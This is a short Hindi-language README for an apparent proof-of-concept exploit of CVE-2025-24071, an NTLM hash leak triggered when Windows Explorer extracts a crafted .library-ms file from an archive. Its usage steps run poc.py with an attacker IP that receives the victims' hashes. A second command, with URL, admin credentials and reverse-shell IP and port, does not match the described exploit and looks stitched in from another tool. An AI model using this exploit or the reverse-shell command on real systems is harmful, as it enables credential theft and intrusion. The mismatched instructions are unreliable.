CVE-2025-24071_PoC

CVE-2025-24071: RAR/ZIP निष्कर्षण और .library-ms फ़ाइल के माध्यम से NTLM हैश लीक

Windows Explorer स्वचालित रूप से SMB प्रमाणीकरण अनुरोध शुरू करता है जब .rar आर्काइव से .library-ms फ़ाइल निकाली जाती है, जिससे NTLM हैश का खुलासा होता है। उपयोगकर्ता को फ़ाइल खोलने या निष्पादित करने की आवश्यकता नहीं है—केवल इसे निकालना ही लीक को ट्रिगर करने के लिए पर्याप्त है।

उपयोग

>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888

अपडेट:

अपडेट: Microsoft ने अपना CVE नंबर बदल दिया है। Microsoft द्वारा पहले परिभाषित CVE नंबर, CVE-2025-24071, को अपडेट कर CVE-2025-24054 कर दिया गया है।🤷‍♂